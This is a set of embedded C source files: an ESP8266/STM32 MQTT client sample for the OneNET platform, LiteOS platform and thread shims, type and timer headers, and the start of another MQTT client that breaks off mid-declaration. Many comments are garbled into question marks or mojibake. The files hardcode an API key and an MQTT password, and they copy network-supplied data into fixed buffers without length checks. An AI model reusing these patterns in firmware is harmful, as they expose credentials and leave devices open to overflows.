"kylin_"SN #define REG_PKT_HEAD "POST http://"API_ADDR"/register_de?register_code="REG_CODE" HTTP/1.1\r\n"\ "Host: "API_ADDR"\r\n"\ "Content-Length: " #define REG_PKT_BODY "{\"title\":\""DEVICE_NAME"\",\"sn\":\""SN"\"}" #include "mqtt.h" #define STRLEN 64 char g_cmdid[STRLEN]; struct MqttSampleContext { // int epfd; // int mqttfd; uint32_t sendedbytes; struct MqttContext mqttctx[1]; struct MqttBuffer mqttbuf[1]; const char *host; unsigned short port; const char *proid; const char *devid; const char *apikey; int dup; enum MqttQosLevel qos; int retain; uint16_t pkt_to_ack; char cmdid[70]; }; void sendHttpPkt(char *phead, char *pbody) { char sendBuf0[20]; char sendBuf1[500]; sprintf(sendBuf1, "%s%d\r\n\r\n%s", phead, strlen(pbody), pbody); printf("send HTTP pkt:\r\n%s\r\n", sendBuf1); /* sprintf(sendBuf0, "AT+CIPSEND=%d\r\n", strlen(sendBuf1)); SendCmd(sendBuf0, ">", 500); USART2_Clear(); // EDP?????,?? / USART2_Write(USART2, (uint8_t*)sendBuf1, strlen(sendBuf1)); //???? */ } /** * @brief ?????? * @param buffer,???????? * @param plen, ???????EDP????? * @attention ?????????8266???????,??????????? * ??????,??? +IPD, ?????????????? * @retval ?????EDP??????,????????NULL */ char *uartDataParse(char *buffer, int32_t *plen) { char *p; char *pnum; int32_t len; if((p = strstr(buffer, "CLOSED")) != NULL) { printf("tcp connection closed\r\n"); } if((p = strstr(buffer, "WIFI DISCONNECT")) != NULL) { printf("wifi disconnected\r\n"); } if((p = strstr(buffer, "WIFI CONNECTED")) != NULL) { printf("wifi connected\r\n"); } if((p = strstr(buffer, "+IPD")) != NULL) { pnum = p + 5; //????? "+IPD,",?????????? p = strstr(p, ":"); //???????? *(p++) = '\0'; //???????????,p????????????? len = atoi(pnum); //printf("rcv %d data from OneNET:\r\n", len); //hexdump(p, len); //?????? *plen = len; return p; } return NULL; } /** * @brief ???????EDP?? */ void sendPkt(char *p, int len) { char sendBuf[30] = {0}; /* ????????AT+CIPSEND=X */ sprintf(sendBuf, "AT+CIPSEND=%d\r\n", len); SendCmd(sendBuf, ">", 500); USART2_Clear(); /* EDP?????,?? */ USART2_Write(USART2, p, len); //???? //hexdump(p, len); //?????? } //-------------------------------- Commands ------------------------------------------------------ static int MqttSample_Connect(struct MqttSampleContext *ctx, char *proid\ , char *auth_info, const char *devid, int keep_alive, int clean_session) { int err, flags; // struct epoll_event event; // if(ctx->mqttfd >= 0) { // close(ctx->mqttfd); // epoll_ctl(ctx->epfd, EPOLL_CTL_DEL, ctx->mqttfd, NULL); // } // ctx->mqttfd = MqttSample_CreateTcpConnect(ctx->host, ctx->port); // if(ctx->mqttfd < 0) { // return -1; // } // ctx->mqttctx->read_func_arg = (void*)(size_t)ctx->mqttfd; // ctx->mqttctx->writev_func_arg = (void*)(size_t)ctx->mqttfd; // flags = fcntl(ctx->mqttfd, F_GETFL, 0); // if(-1 == flags) { // printf("Failed to get the socket file flags, errcode is %d.\n", errno); // } // // if(fcntl(ctx->mqttfd, F_SETFL, flags | O_NONBLOCK) < 0) { // printf("Failed to set the socket to nonblock mode, errcode is %d.\n", errno); // return -1; // } // event.data.fd = ctx->mqttfd; // event.events = EPOLLIN | EPOLLONESHOT | EPOLLET; // if(epoll_ctl(ctx->epfd, EPOLL_CTL_ADD, ctx->mqttfd, &event) < 0) { // printf("Failed to add the socket to the epoll, errcode is %d.\n", errno); // return -1; // } //ctx->apikey = "F8E2ABB4278D47188CF6C1B3741D0DA1"; //discard //ctx->proid = "1234"; //discard printf("product id: %s\r\nsn: %s\r\ndeviceid: %s\r\nkeepalive: %d\r\ncleansession: %d\r\nQoS: %d\r\n", proid, auth_info, devid, keep_alive, clean_session, MQTT_QOS_LEVEL0); err = Mqtt_PackConnectPkt(ctx->mqttbuf, keep_alive, devid, clean_session, NULL, NULL, 0, MQTT_QOS_LEVEL0, 0, proid, auth_info, strlen(auth_info)); /* err = Mqtt_PackConnectPkt(ctx->mqttbuf, keep_alive, ctx->devid, 1, user_name, password, sizeof(password), MQTT_QOS_LEVEL0, 0, NULL, NULL, 0); */ if(MQTTERR_NOERROR != err) { printf("Failed to pack the MQTT CONNECT PACKET, errcode is %d.\n", err); return -1; } return 0; } static int MqttSample_RecvPkt(void *arg, void *buf, uint32_t count) { int i; int rcv_len = 0, onenetdata_len = 0; uint8_t buffer[128] = {0}; char *p = NULL; /* ?????????? */ while ((rcv_len = USART2_GetRcvNum()) > 0) { printf("rcv_len: %d\r\n", rcv_len); // hexdump(usart2_rcv_buf, usart2_rcv_len); //?????? mDelay(500); } if(usart2_rcv_len != 0) //??wifi?AT?????? { USART2_GetRcvData(buffer, usart2_rcv_len); /* ??????,??WIFI???????????????? */ if((p = uartDataParse(buffer, &onenetdata_len)) == NULL) { //printf("No server Data\r\n"); /* ?????,??0 */ return 0; } /* ?????rcv_len??????,????recv_buf,???? */ //WriteBytes(recv_buf, p, rcv_len); memcpy(buf, p, onenetdata_len); if(onenetdata_len > 0) { printf("Rcv: \r\n"); for(i=0; i<onenetdata_len; i++) { printf("%02X ", ((unsigned char *)buf)[i]); } printf("\r\n"); } } return onenetdata_len; } static int MqttSample_SendPkt(void *arg, const struct iovec *iov, int iovcnt) { char sendbuf[1024]; int len = 0; int bytes; //struct msghdr msg; //memset(&msg, 0, sizeof(msg)); //msg.msg_iov = (struct iovec*)iov; //msg.msg_iovlen = (size_t)iovcnt; int i=0,j=0; printf("send one pkt\n"); for(i=0; i<iovcnt; ++i) { char *pkg = (char*)iov[i].iov_base; for(j=0; j<iov[i].iov_len; ++j) { printf("%02X ", pkg[j]&0xFF); } printf("\n"); memcpy(sendbuf+len, iov[i].iov_base, iov[i].iov_len); len += iov[i].iov_len; } sendPkt(sendbuf, len); printf("send over\n"); //bytes = sendmsg((int)(size_t)arg, &msg, 0); return bytes; } //------------------------------- packet handlers ------------------------------------------- static int MqttSample_HandleConnAck(void *arg, char flags, char ret_code) { // LED_4_ON; printf("Success to connect to the server, flags(%0x), code(%d).\n", flags, ret_code); return 0; } static int MqttSample_HandlePingResp(void *arg) { printf("Recv the ping response.\n"); return 0; } static int MqttSample_HandlePublish(void *arg, uint16_t pkt_id, const char *topic, const char *payload, uint32_t payloadsize, int dup, enum MqttQosLevel qos) { struct MqttSampleContext *ctx = (struct MqttSampleContext*)arg; ctx->pkt_to_ack = pkt_id; ctx->dup = dup; ctx->qos = qos; printf("dup: %d, qos: %d, id: %d\r\ntopic: %s\r\npayloadsize: %d payload: %s\r\n", dup, qos, pkt_id, topic, payloadsize, payload); /*fix me : add response ?*/ //get cmdid //$creq/topic_name/cmdid memset(g_cmdid, STRLEN, 0); if('$' == topic[0] && 'c' == topic[1] && 'r' == topic[2] && 'e' == topic[3] && 'q' == topic[4] && '/' == topic[5]){ int i=6; while(topic[i]!='/' && i<strlen(topic)){ ++i; } if(i<strlen(topic)) memcpy(g_cmdid, topic+i+1, strlen(topic+i+1)); } return 0; } static int MqttSample_HandlePubAck(void *arg, uint16_t pkt_id) { printf("Recv the publish ack, packet id is %d.\n", pkt_id); return 0; } static int MqttSample_HandlePubRec(void *arg, uint16_t pkt_id) { struct MqttSampleContext *ctx = (struct MqttSampleContext*)arg; ctx->pkt_to_ack = pkt_id; printf("Recv the publish rec, packet id is %d.\n", pkt_id); return 0; } static int MqttSample_HandlePubRel(void *arg, uint16_t pkt_id) { struct MqttSampleContext *ctx = (struct MqttSampleContext*)arg; ctx->pkt_to_ack = pkt_id; printf("Recv the publish rel, packet id is %d.\n", pkt_id); return 0; } static int MqttSample_HandlePubComp(void *arg, uint16_t pkt_id) { printf("Recv the publish comp, packet id is %d.\n", pkt_id); return 0; } static int MqttSample_HandleSubAck(void *arg, uint16_t pkt_id, const char *codes, uint32_t count) { uint32_t i; printf("Recv the subscribe ack, packet id is %d, return code count is %d:.\n", pkt_id, count); for(i = 0; i < count; ++i) { unsigned int code = ((unsigned char*)codes)[i]; printf(" code%d=%02x\n", i, code); } return 0; } static int MqttSample_HandleUnsubAck(void *arg, uint16_t pkt_id) { printf("Recv the unsubscribe ack, packet id is %d.\n", pkt_id); return 0; } static int MqttSample_HandleCmd(void *arg, uint16_t pkt_id, const char *cmdid, int64_t timestamp, const char *desc, const char *cmdarg, uint32_t cmdarg_len, int dup, enum MqttQosLevel qos) { uint32_t i; char cmd_str[100] = {0}; struct MqttSampleContext *ctx = (struct MqttSampleContext*)arg; ctx->pkt_to_ack = pkt_id; strcpy(ctx->cmdid, cmdid); printf("Recv the command, packet id is %d, cmduuid is %s, qos=%d, dup=%d.\n", pkt_id, cmdid, qos, dup); if(0 != timestamp) { time_t seconds = timestamp / 1000; struct tm *st = localtime(&seconds); printf(" The timestampe is %04d-%02d-%02dT%02d:%02d:%02d.%03d.\n", st->tm_year + 1900, st->tm_mon + 1, st->tm_mday, st->tm_hour, st->tm_min, st->tm_sec, (int)(timestamp % 1000)); } else { printf(" There is no timestamp.\n"); } if(NULL != desc) { printf(" The description is: %s.\n", desc); } else { printf(" There is no description.\n"); } printf(" The length of the command argument is %d, the argument is:", cmdarg_len); for(i = 0; i < cmdarg_len; ++i) { const char c = cmdarg[i]; if(0 == i % 16) { printf("\n "); } printf("%02X'%c' ", c, c); } printf("\n"); memcpy(cmd_str, cmdarg, cmdarg_len); printf("cmd: %s\r\n", cmd_str); /* add your execution code here */ /* ???? -- ??led? */ //LED_7_ON; return 0; } static int MqttSample_Subscribe(struct MqttSampleContext *ctx, char **topic, int num) { int err; // char **topics; // int topics_len = 0; // topics = str_split(buf, ' ', &topics_len); // if (topics){ // int i; // for (i = 0; *(topics + i); i++){ // printf("%s\n", *(topics + i)); // } // printf("\n"); // } //sprintf(topic, "%s/%s/45523/test-1", ctx->proid, ctx->apikey); err = Mqtt_PackSubscribePkt(ctx->mqttbuf, 2, MQTT_QOS_LEVEL0, topic, num); if(err != MQTTERR_NOERROR) { printf("Critical bug: failed to pack the subscribe packet.\n"); return -1; } /* sprintf(topic, "%s/%s/45523/test-2", ctx->proid, ctx->apikey); err = Mqtt_AppendSubscribeTopic(ctx->mqttbuf, topic, MQTT_QOS_LEVEL1); if (err != MQTTERR_NOERROR) { printf("Critical bug: failed to pack the subscribe packet.\n"); return -1; } */ return 0; } static int MqttSample_Unsubscribe(struct MqttSampleContext *ctx, char **topics, int num) { int err; // char **topics; // int topics_len = 0; // topics = str_split(buf, ' ', &topics_len); // printf("topic len %d\n", topics_len); // if (topics){ // int i; // for (i = 0; *(topics + i); i++){ // printf("%s\n", *(topics + i)); // } // printf("\n"); // } err = Mqtt_PackUnsubscribePkt(ctx->mqttbuf, 3, topics, num); if(err != MQTTERR_NOERROR) { printf("Critical bug: failed to pack the unsubscribe packet.\n"); return -1; } return 0; } int MqttSample_Savedata11(struct MqttSampleContext *ctx, int temp, int humi) { int err; struct MqttExtent *ext; uint16_t pkt_id = 1; char json[]="{\"datastreams\":[{\"id\":\"temp\",\"datapoints\":[{\"value\":%d}]},{\"id\":\"humi\",\"datapoints\":[{\"value\":%d}]}]}"; char t_json[200]; int payload_len; char *t_payload; unsigned short json_len; sprintf(t_json, json, temp, humi); payload_len = 1 + 2 + strlen(t_json)/sizeof(char); json_len = strlen(t_json)/sizeof(char); t_payload = (char *)malloc(payload_len); if(t_payload == NULL) { printf("<%s>: t_payload malloc error\r\n", __FUNCTION__); return 0; } //type t_payload[0] = '\x01'; //length t_payload[1] = (json_len & 0xFF00) >> 8; t_payload[2] = json_len & 0xFF; //json memcpy(t_payload+3, t_json, json_len); if(ctx->mqttbuf->first_ext) { return MQTTERR_INVALID_PARAMETER; } printf("Topic: %s\r\nPakect ID: %d\r\nQoS: %d\r\nPayload: %s\r\n", "$dp", pkt_id, MQTT_QOS_LEVEL1, t_json); err = Mqtt_PackPublishPkt(ctx->mqttbuf, pkt_id, "$dp", t_payload, payload_len, \ MQTT_QOS_LEVEL1, 0, 1); free(t_payload); if(err != MQTTERR_NOERROR) { return err; } return 0; } static int MqttSample_Savedata(struct MqttSampleContext *ctx, int temp, int humi) { char opt; int Qos=1; int type = 1; int i = 0; /*-q 0/1 ----> Qos0/Qos1 -t 1/7 ----> json/float datapoint */ printf("Qos: %d Type: %d\r\n", Qos, type); MqttSample_Savedata11(ctx, temp, humi); // qos=1 type=1 } static int MqttSample_Publish(struct MqttSampleContext *ctx, int temp, int humi) { int err; int topics_len = 0; struct MqttExtent *ext; int i=0; char *topic = "key_press"; char *payload1= "key pressed, temp: %d, humi: %d"; char payload[100] = {0}; int pkg_id = 1; sprintf(payload, payload1, temp, humi); printf("<%s>: public %s : %s\r\n", __FUNCTION__, topic, payload); /*?????????? topics = str_split(buf, ' ', &topics_len); printf("topics_len: %d\r\n", topics_len); if (topics){ int i; for (i = 0; *(topics + i); i++){ printf("%s\n", *(topics + i)); } printf("\n"); } if(4 != topics_len){ printf("usage:push_dp topicname payload pkg_id"); return err; } */ if(ctx->mqttbuf->first_ext) { return MQTTERR_INVALID_PARAMETER; } /* std::string pkg_id_s(topics+3); int pkg_id = std::stoi(pkg_id_s); */ err = Mqtt_PackPublishPkt(ctx->mqttbuf, pkg_id, topic, payload, strlen(payload), MQTT_QOS_LEVEL1, 0, 1); if(err != MQTTERR_NOERROR) { return err; } return 0; } /* ???? */ int MqttSample_RespCmd(struct MqttSampleContext *ctx, char *resp) { int err; int Qos=0; int i = 0; printf("QoS: %d\r\nCmdId: %s\r\n", Qos, ctx->cmdid); if(0==Qos) { err = Mqtt_PackCmdRetPkt(ctx->mqttbuf, 1, ctx->cmdid, resp, 11, MQTT_QOS_LEVEL0, 1); } else if(1==Qos) { err = Mqtt_PackCmdRetPkt(ctx->mqttbuf, 1, ctx->cmdid, resp, 11, MQTT_QOS_LEVEL1, 1); } if(MQTTERR_NOERROR != err) { printf("Critical bug: failed to pack the cmd ret packet.\n"); return -1; } return 0; } static int MqttSample_Init(struct MqttSampleContext *ctx) { //struct epoll_event event; int err; ctx->host = MQTT_HOST; ctx->port = MQTT_PORT; ctx->sendedbytes = -1; ctx->devid = NULL; ctx->cmdid[0] = '\0'; // ctx->mqttfd = -1; /* ctx->host = "192.168.200.218"; ctx->port = 6002; ctx->proid = "433223"; ctx->devid = "45523"; ctx->apikey = "Bs04OCJioNgpmvjRphRak15j7Z8="; */ err = Mqtt_InitContext(ctx->mqttctx, 1000); if(MQTTERR_NOERROR != err) { printf("Failed to init MQTT context errcode is %d", err); return -1; } ctx->mqttctx->read_func = MqttSample_RecvPkt; // ctx->mqttctx->read_func_arg = (void*)(size_t)ctx->mqttfd; // ctx->mqttctx->writev_func_arg = (void*)(size_t)ctx->mqttfd; ctx->mqttctx->writev_func = MqttSample_SendPkt; ctx->mqttctx->handle_conn_ack = MqttSample_HandleConnAck; ctx->mqttctx->handle_conn_ack_arg = ctx; ctx->mqttctx->handle_ping_resp = MqttSample_HandlePingResp; ctx->mqttctx->handle_ping_resp_arg = ctx; ctx->mqttctx->handle_publish = MqttSample_HandlePublish; ctx->mqttctx->handle_publish_arg = ctx; ctx->mqttctx->handle_pub_ack = MqttSample_HandlePubAck; ctx->mqttctx->handle_pub_ack_arg = ctx; ctx->mqttctx->handle_pub_rec = MqttSample_HandlePubRec; ctx->mqttctx->handle_pub_rec_arg = ctx; ctx->mqttctx->handle_pub_rel = MqttSample_HandlePubRel; ctx->mqttctx->handle_pub_rel_arg = ctx; ctx->mqttctx->handle_pub_comp = MqttSample_HandlePubComp; ctx->mqttctx->handle_pub_comp_arg = ctx; ctx->mqttctx->handle_sub_ack = MqttSample_HandleSubAck; ctx->mqttctx->handle_sub_ack_arg = ctx; ctx->mqttctx->handle_unsub_ack = MqttSample_HandleUnsubAck; ctx->mqttctx->handle_unsub_ack_arg = ctx; ctx->mqttctx->handle_cmd = MqttSample_HandleCmd; ctx->mqttctx->handle_cmd_arg = ctx; MqttBuffer_Init(ctx->mqttbuf); // ctx->epfd = epoll_create(10); // if(ctx->epfd < 0) { // printf("Failed to create the epoll instance.\n"); // return -1; // } // if(fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK) < 0) { // printf("Failed to set the stdin to nonblock mode, errcode is %d.\n", errno); // return -1; // } // event.data.fd = STDIN_FILENO; // event.events = EPOLLIN; // if(epoll_ctl(ctx->epfd, EPOLL_CTL_ADD, STDIN_FILENO, &event) < 0) { // printf("Failed to add the stdin to epoll, errcode is %d.\n", errno); // return -1; // } return 0; } /** * @brief ??EDP??,???????,????????? * @attention ??UART2??ESP8266??,?????????????? * ??UART1????????,??printf????????? * Recv_Thread_Func????????edp_sdk??????,??????? * ????????EDP?????? */ int main(void) { uint16_t temp, humi; //??? uint32_t timeCount = 0; uint32_t saveDataCount = 0, publishCount = 0; int num = 0, err; char buf[100]; char device_id[20] = {0}; char *topics[] = {"test_topic", "test_topic2"}; /* MQTT ?? */ struct MqttSampleContext ctx[1]; int bytes; /* mqtt???? */ int keep_alive = 120; int clean_session = 0; // ctx->devid = "3264518"; //device_id #if 1 /* MQTTcontext ??? */ if(MqttSample_Init(ctx) < 0) { return -1; } init_8266: /* 8266??? SendCmd(AT, "OK", 1000); //??????? SendCmd(CWMODE, "OK", 1000); //?????? SendCmd(CIFSR, "OK", 1000); //?????? SendCmd(CWJAP, "OK", 2000); //???????WIFI??SSID??? //LED_4_ON; SendCmd(CIPMODE0, "OK", 1000); //??????? SendCmd(HTTP_CIPSTART, "OK", 2000); //HTTP_TCP?? USART2_Clear(); sendHttpPkt(REG_PKT_HEAD, REG_PKT_BODY);*/ mDelay(3000); /* ??????????,????id if(usart2_rcv_len > 0) { char *p = NULL, *pend = NULL; printf("rcv response:\r\n%s\r\n", usart2_rcv_buf); if((p=strstr(usart2_rcv_buf, "device_id")) != NULL) { p += strlen("device_id\":\""); if((pend=strstr(p, "\",")) != NULL) { memcpy(device_id, p, pend-p); printf("get device id: %s\r\n", device_id); ctx->devid = device_id; } } } else if(usart2_rcv_len == 0) { printf("device regist over time!\r\n"); while(1); } else if(ctx->devid == NULL) { printf("device regist fail!\r\n"); while(1); } SendCmd(CIPCLOSE, "OK", 2000); //??TCP?? SendCmd(MQTT_CIPSTART, "OK", 2000); //MQTT_TCP?? */ //while(1); #endif /****************?????******************/ USART2_Clear(); #if 1 /* mqtt?? */ MqttSample_Connect(ctx, PROD_ID, SN, ctx->devid, keep_alive, clean_session); bytes = Mqtt_SendPkt(ctx->mqttctx, ctx->mqttbuf, 0); MqttBuffer_Reset(ctx->mqttbuf); mDelay(1000); err = Mqtt_RecvPkt(ctx->mqttctx); USART2_Clear(); /* mqtt?? */ MqttSample_Subscribe(ctx, topics, 1); //???????,?????????topic bytes = Mqtt_SendPkt(ctx->mqttctx, ctx->mqttbuf, 0); MqttBuffer_Reset(ctx->mqttbuf); mDelay(1000); #endif while(1) { if(KEY2_Scan() == 0) { printf("key2 pressed\r\n"); LED_5_ON; mDelay(1000); /* ???? */ MqttSample_Publish(ctx, temp, humi); // bytes = Mqtt_SendPkt(ctx->mqttctx, ctx->mqttbuf, 0); // MqttBuffer_Reset(ctx->mqttbuf); bytes = Mqtt_SendPkt(ctx->mqttctx, ctx->mqttbuf, 0); MqttBuffer_Reset(ctx->mqttbuf); LED_5_OFF; } if(KEY3_Scan() == 0) { printf("key3 pressed\r\n"); if(ctx->cmdid[0] != '\0') //???????? { /* ???? */ MqttSample_RespCmd(ctx, "cmd received"); bytes = Mqtt_SendPkt(ctx->mqttctx, ctx->mqttbuf, 0); MqttBuffer_Reset(ctx->mqttbuf); ctx->cmdid[0] = '\0'; } } if(saveDataCount >= 300) { LED_6_ON; saveDataCount = 0; /* */ //SHT2x_MeasureHM(SHT20_Measurement_T_HM, &temp); //SHT2x_MeasureHM(SHT20_Measurement_RH_HM, &humi); printf("temp: %d, humi: %d\r\n", temp, humi); /* ???? */ MqttSample_Savedata(ctx, temp, humi); // bytes = Mqtt_SendPkt(ctx->mqttctx, ctx->mqttbuf, 0); // MqttBuffer_Reset(ctx->mqttbuf); bytes = Mqtt_SendPkt(ctx->mqttctx, ctx->mqttbuf, 0); MqttBuffer_Reset(ctx->mqttbuf); LED_6_OFF; } err = Mqtt_RecvPkt(ctx->mqttctx); USART2_Clear(); timeCount++; saveDataCount++; publishCount++; mDelay(100); //printf("."); } } /******************* (C) COPYRIGHT 2010 STMicroelectronics *****END OF FILE****/ ``` platform_liteos.c ```// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. #include <stdlib.h> #ifdef _CRTDBG_MAP_ALLOC #include <crtdbg.h> #endif #include "azure_c_shared_utility/platform.h" #include "azure_c_shared_utility/xio.h" #include "azure_c_shared_utility/tlsio_openssl.h" #include "azure_c_shared_utility/xlogging.h" #include "lwip/apps/sntp.h" //#include "lwip/apps/sntp_time.h" #include "lwip/inet.h" #include <time.h> extern UINT32 LOS_MemInit(VOID *pPool, UINT32 uwSize); #if 0 #define MEM2_MAX_SIZE (4*1024*1024) __align(8) UINT8 mem2base[MEM2_MAX_SIZE] __attribute__((at(0xD0000000))); #endif #if 1 #define MEM2_MAX_SIZE (64*1024) __align(8) UINT8 mem2base[MEM2_MAX_SIZE]; #endif UINT32 platform_pool_init(void) { return LOS_MemInit(mem2base, MEM2_MAX_SIZE); } void *platform_malloc(UINT32 uwSize) { return LOS_MemAlloc(mem2base, uwSize); } void *platform_realloc(void *pPtr, UINT32 uwSize) { return LOS_MemRealloc(mem2base, pPtr, uwSize); } void* platform_calloc(size_t n, size_t size) { return platform_malloc(n * size); } void platform_free(void *pPtr) { (void) LOS_MemFree(mem2base, pPtr); } void platform_mem_test(void) { UINT8 *p=0; p = platform_malloc(1024); sprintf((char*)p,"Memory Malloc %f", 123.0); printf("%s", p); platform_free(p); } int platform_init(void) { #if 0 ip_addr_t ipaddr; ipaddr.addr = inet_addr("120.25.108.11"); sntp_setserver(0,&ipaddr); #endif sntp_init(); #if 1 UINT32 ts = 0; while(ts == 0){ (void)LOS_TaskDelay(LOS_MS2Tick(2000)); ts = get_time(0); printf("platform_init timestamp=%lu\r\n", ts); } #endif return 0; } const IO_INTERFACE_DESCRIPTION* platform_get_default_tlsio(void) { return tlsio_openssl_get_interface_description(); } STRING_HANDLE platform_get_platform_info(void) { // Expected format: "(<runtime name>; <operating system name>; <platform>)" return STRING_construct("(native; liteos; undefined)"); } void platform_deinit(void) { sntp_stop(); return; } ``` platform.h ```// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. #ifndef PLATFORM_H #define PLATFORM_H #include "azure_c_shared_utility/strings.h" #include "azure_c_shared_utility/xio.h" #include "azure_c_shared_utility/umock_c_prod.h" #include "los_memory.h" #ifdef __cplusplus extern "C" { #endif /* __cplusplus */ MOCKABLE_FUNCTION(, int, platform_init); MOCKABLE_FUNCTION(, void, platform_deinit); MOCKABLE_FUNCTION(, const IO_INTERFACE_DESCRIPTION*, platform_get_default_tlsio); MOCKABLE_FUNCTION(, STRING_HANDLE, platform_get_platform_info); UINT32 platform_pool_init(void); void *platform_malloc(UINT32 uwSize); void *platform_realloc(void *pPtr, UINT32 uwSize); void platform_free(void *pPtr); void* platform_calloc(size_t n, size_t size); void platform_mem_test(void); #ifdef __cplusplus } #endif /* __cplusplus */ #endif /* PLATFORM_H */ ``` lb_type.h ```#ifndef _LB_TYPE_H_ #define _LB_TYPE_H_ typedef unsigned char INT8U; //ๆ— ็ฌฆๅท8ไฝๆ•ฐ typedef signed char INT8S; //ๆœ‰็ฌฆๅท8ไฝๆ•ฐ typedef unsigned short INT16U; //ๆ— ็ฌฆๅท16ไฝๆ•ฐ typedef signed short INT16S; //ๆœ‰็ฌฆๅท16ไฝๆ•ฐ typedef unsigned int INT32U; //ๆœ‰็ฌฆๅท16ไฝๆ•ฐ typedef INT8U uchar; typedef INT16U uint; typedef unsigned long DWORD; typedef int BOOL; typedef unsigned char BYTE; typedef unsigned short WORD; #ifndef TRUE #define TRUE (1==1) #endif #ifndef FALSE #define FALSE (1==0) #endif #ifndef NULL #define NULL (void *)0 /*็ฉบๆŒ‡้’ˆ*/ #endif #define __In_ #define __Out_ #define __Inout_ #endif ``` LB_TIMER.h ```#ifndef _LB_TIMER_H_ #define _LB_TIMER_H_ #include "lb_type.h" #include "CriticalSeg.h" #ifdef _LB_TIMER_C_ #define LB_TIMER_EXT #else #define LB_TIMER_EXT extern #endif #ifndef LB_TRUE #define LB_TRUE 1 #endif #ifndef LB_FALSE #define LB_FALSE 0 #endif #ifndef LB_NULL #define LB_NULL (void *)0 /*็ฉบๆŒ‡้’ˆ*/ #endif #define XRAM /*ๅค–้ƒจRAMๅฎšไน‰*/ #define LB_MAX_TIMER 20 //ๅฎšๆ—ถๅ™จๆœ€ๅคงไธชๆ•ฐ typedef void *TIMER_CB(void *msg); //ๅ›ž่ฐƒๅ‡ฝๆ•ฐๅฎšไน‰ typedef struct LB_TMRCB LB_TMRCB; //ๅฎšๆ—ถๅ™จๆŽงๅˆถๅ—็ป“ๆž„ไฝ“็ฑปๅž‹ๅฎšไน‰ //ๅฎšๆ—ถๅ™จๆŽงๅˆถๅ—็ป“ๆž„ไฝ“ struct LB_TMRCB{ INT16U interval; //ๆ—ถ้—ด้—ด้š” INT16U cnt; //่ฎกๆ•ฐๅ™จ INT8U enable; //ไฝฟ่ƒฝๆŽงๅˆถไฝ INT8U ok; //ๆ—ถ้—ดๅˆฐๆ ‡่ฎฐ TIMER_CB *fCBack; //ๅ›ž่ฐƒๅ‡ฝๆ•ฐ TIMER_CB *fCBackInt; void *msg; LB_TMRCB *pNext; //้“พ่กจๆŒ‡้’ˆ }; /*ๅ†…ๆ ธๆ•ฐๆฎๅ†…ๅญ˜๏ผŒๅ‹ฟไฟฎๆ”น*/ #ifdef _LB_TIMER_C_ static XRAM LB_TMRCB LB_TMRCBTbl[LB_MAX_TIMER]; //ๅฎšๆ—ถๅ™จ่กจ #endif LB_TIMER_EXT void InitLB_TMR(void); //ๅˆๅง‹ๅŒ–ๅฎšๆ—ถๅ™จ LB_TIMER_EXT LB_TMRCB *LB_TMRCreate(INT16U interval,INT8U enable,TIMER_CB *TMRCallBack,TIMER_CB *TMRCallBackInt,void *msg); //ๅˆ›ๅปบๅฎšๆ—ถๅ™จ LB_TIMER_EXT void LB_TMRTick(void); //ๅฎšๆ—ถๅ™จๆปดๅ—’ LB_TIMER_EXT void LB_ExcTMR(void); //ๆ‰ง่กŒๅฎšๆ—ถๅ™จ LB_TIMER_EXT void SetLB_TMR(INT16U interval,LB_TMRCB *pTMRCB); //่ฎพ็ฝฎๅฎšๆ—ถๅ™จ้—ด้š” LB_TIMER_EXT void EnLB_TMR(LB_TMRCB *pTMRCB); //ไฝฟ่ƒฝๅฎšๆ—ถๅ™จ LB_TIMER_EXT void DisLB_TMR(LB_TMRCB *pTMRCB); //็ฆๆญขๅฎšๆ—ถๅ™จ LB_TIMER_EXT void ReCntLB_TMR(LB_TMRCB *pTMRCB); //้‡ๆ–ฐ่ฎกๆ•ฐ LB_TIMER_EXT INT8U GetTimerNum(void); #endif ``` threadapi_liteos.c ```// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. #include <stdint.h> #include <stdlib.h> #include "azure_c_shared_utility/threadapi.h" #include "azure_c_shared_utility/xlogging.h" #include "los_task.h" DEFINE_ENUM_STRINGS(THREADAPI_RESULT, THREADAPI_RESULT_VALUES); THREADAPI_RESULT ThreadAPI_Create(THREAD_HANDLE* threadHandle, THREAD_START_FUNC func, void* arg) { LogError("LiteOS does not support multi-thread function."); return THREADAPI_ERROR; } THREADAPI_RESULT ThreadAPI_Join(THREAD_HANDLE threadHandle, int* res) { LogError("LiteOS does not support multi-thread function."); return THREADAPI_ERROR; } void ThreadAPI_Exit(int res) { (void)LOS_TaskDelete(LOS_CurTaskIDGet()); } void ThreadAPI_Sleep(unsigned int milliseconds) { (void)LOS_TaskDelay(LOS_MS2Tick(milliseconds)); } ``` iothub_mqtt_client.c ```/*********************************************Copyright (c)*********************************************** ** Wuhan CCEM ** **--------------File Info--------------------------------------------------------------------------------- ** File name: ** Latest modified Date: ** Latest Version: ** Descriptions: ** **-------------------------------------------------------------------------------------------------------- ** Created by: shhuang ** Created date: 2018-05-11 ** Version: V1.0 ** Descriptions: The original version ** **-------------------------------------------------------------------------------------------------------- ** Modified by: ** Modified date: ** Version: ** Descriptions: ** *********************************************************************************************************/ /******************************************************************************************************** ** Includes *********************************************************************************************************/ #include "iothub_mqtt_client.h" #include "bsp_debug_usart.h" #include "tcp_echoclient.h" #include "MQTTPacket.h" #include "transport.h" #include "bsp_led.h" #include "los_swtmr.ph" #include "los_sem.h" UINT32 g_usGetNetStatusSemID; UINT32 g_usGetNetDataSemID; UINT32 g_usWaitSubAckSemID; UINT32 g_usWaitPingRspSemID; UINT32 g_RecTopicMsgTskHandle; UINT32 g_SubTopicTskHandle; UINT32 g_SndMqttPingTskHandle; UINT32 g_SndMqttAlarmTskHandle; extern unsigned char mqtt_server_connstatus; extern unsigned char mqtt_send_alarm_flg; UINT32 creat_rec_mqtt_message_task(void); UINT32 creat_mqtt_client_subtopic_task(void); UINT32 creat_send_mqtt_ping_taask(void); UINT32 creat_send_alarm_task(void); #define MQTT_CLIENT_ID "tbs_n110_001" #define KEEPALIVE_INTERVAL 60 #define MQTT_CLIENT_USER_NAME "tbs_n110/tbs_n110_001" #define MQTT_CLIENT_PASSWORD "nu/005K89vIWmbqmP9+V4h7k2GeofYtvZF3o9JT/X8o=" #define MQTT_CLIENT_SUBTOPIC "topic02" #define MQTT_CLIENT_PUBTOPIC "topic01" #define BUF_SIZE 200 void transport_open(void); void transport_close(void); void 